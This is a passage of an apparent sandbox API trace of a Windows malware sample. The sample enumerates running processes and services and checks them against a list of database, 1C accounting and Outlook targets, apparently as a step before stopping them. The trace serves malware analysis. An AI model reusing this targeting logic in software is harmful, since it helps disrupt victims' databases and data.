(lpString="UxSms") returned 5 [0262.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0262.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0262.170] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0262.170] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0262.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0262.170] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57af28 | out: hHeap=0x530000) returned 1 [0262.170] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3dc [0262.171] Process32FirstW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.172] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0262.172] lstrlenW (lpString="System") returned 6 [0262.172] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0262.172] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0262.172] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0262.172] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0262.172] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0262.172] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0262.172] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0262.172] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0262.172] lstrlenW (lpString="smss.exe") returned 8 [0262.172] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0262.172] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0262.172] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0262.172] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0262.172] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0262.172] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0262.173] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0262.173] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.173] lstrlenW (lpString="csrss.exe") returned 9 [0262.173] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0262.173] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0262.173] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0262.173] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0262.173] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0262.173] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0262.173] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0262.173] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0262.173] lstrlenW (lpString="wininit.exe") returned 11 [0262.173] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0262.173] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0262.173] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0262.173] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0262.173] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0262.173] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0262.173] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0262.174] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.174] lstrlenW (lpString="csrss.exe") returned 9 [0262.174] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0262.174] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0262.174] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0262.174] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0262.174] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0262.174] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0262.174] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0262.174] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0262.174] lstrlenW (lpString="winlogon.exe") returned 12 [0262.174] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0262.174] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0262.174] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0262.174] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0262.174] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0262.174] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0262.174] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0262.174] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0262.175] lstrlenW (lpString="services.exe") returned 12 [0262.175] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0262.175] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0262.175] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0262.175] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0262.175] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0262.175] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0262.175] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0262.175] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0262.175] lstrlenW (lpString="lsass.exe") returned 9 [0262.175] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0262.175] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0262.175] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0262.175] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0262.175] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0262.175] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0262.175] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0262.175] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0262.176] lstrlenW (lpString="lsm.exe") returned 7 [0262.176] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0262.176] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0262.176] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0262.176] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0262.176] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0262.176] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0262.176] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0262.176] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.176] lstrlenW (lpString="svchost.exe") returned 11 [0262.176] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.176] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.176] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.176] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.176] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.176] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.176] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.176] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.177] lstrlenW (lpString="svchost.exe") returned 11 [0262.177] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.177] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.177] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.177] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.177] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.177] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.177] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.177] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.177] lstrlenW (lpString="svchost.exe") returned 11 [0262.177] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.177] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.177] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.177] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.177] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.177] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.177] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.177] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.178] lstrlenW (lpString="svchost.exe") returned 11 [0262.178] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.178] lstrlenW (lpString="svchost.exe") returned 11 [0262.178] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0262.178] lstrlenW (lpString="audiodg.exe") returned 11 [0262.178] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.179] lstrlenW (lpString="svchost.exe") returned 11 [0262.179] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.179] lstrlenW (lpString="svchost.exe") returned 11 [0262.179] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0262.180] lstrlenW (lpString="userinit.exe") returned 12 [0262.180] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0262.180] lstrlenW (lpString="dwm.exe") returned 7 [0262.180] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0262.180] lstrlenW (lpString="explorer.exe") returned 12 [0262.180] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0262.180] lstrlenW (lpString="spoolsv.exe") returned 11 [0262.180] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0262.181] lstrlenW (lpString="taskhost.exe") returned 12 [0262.181] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.181] lstrlenW (lpString="svchost.exe") returned 11 [0262.181] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0262.181] lstrlenW (lpString="uyuquk.exe") returned 10 [0262.181] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0262.182] lstrlenW (lpString="reader_sl.exe") returned 13 [0262.182] Process32NextW (in: hSnapshot=0x3dc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0262.182] CloseHandle (hObject=0x3dc) returned 1 [0262.182] Sleep (dwMilliseconds=0x1f4) [0262.864] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6147c0 [0263.102] EnumServicesStatusExW (in: hSCManager=0x6147c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0263.103] GetLastError () returned 0xea [0263.103] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x57af28 [0263.103] EnumServicesStatusExW (in: hSCManager=0x6147c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x57af28, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x57af28, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0263.103] CloseServiceHandle (hSCObject=0x6147c0) returned 1 [0263.103] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0263.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0263.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0263.104] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0263.104] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0263.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0263.104] lstrlenW (lpString="AudioSrv") returned 8 [0263.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0263.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0263.104] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0263.104] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0263.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0263.104] lstrlenW (lpString="BFE") returned 3 [0263.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0263.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0263.104] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0263.104] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0263.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0263.104] lstrlenW (lpString="CryptSvc") returned 8 [0263.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0263.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0263.104] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0263.104] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0263.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0263.104] lstrlenW (lpString="CscService") returned 10 [0263.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0263.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0263.104] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0263.104] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0263.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0263.104] lstrlenW (lpString="DcomLaunch") returned 10 [0263.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0263.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0263.104] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0263.104] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0263.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0263.104] lstrlenW (lpString="Dhcp") returned 4 [0263.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0263.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0263.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0263.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0263.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0263.105] lstrlenW (lpString="Dnscache") returned 8 [0263.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0263.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0263.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0263.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0263.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0263.105] lstrlenW (lpString="DPS") returned 3 [0263.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0263.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0263.105] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0263.105] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0263.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0263.105] lstrlenW (lpString="eventlog") returned 8 [0263.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0263.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0263.105] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0263.105] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0263.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0263.105] lstrlenW (lpString="EventSystem") returned 11 [0263.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0263.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0263.105] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0263.105] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0263.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0263.105] lstrlenW (lpString="gpsvc") returned 5 [0263.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0263.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0263.105] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0263.105] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0263.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0263.105] lstrlenW (lpString="LanmanWorkstation") returned 17 [0263.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0263.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0263.106] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0263.106] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0263.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0263.106] lstrlenW (lpString="lmhosts") returned 7 [0263.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0263.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0263.106] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0263.106] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0263.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0263.106] lstrlenW (lpString="MMCSS") returned 5 [0263.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0263.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0263.106] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0263.106] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0263.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0263.106] lstrlenW (lpString="MpsSvc") returned 6 [0263.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0263.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0263.106] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0263.106] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0263.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0263.106] lstrlenW (lpString="NlaSvc") returned 6 [0263.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0263.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0263.106] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0263.106] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0263.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0263.106] lstrlenW (lpString="nsi") returned 3 [0263.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0263.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0263.106] lstrcmpiW 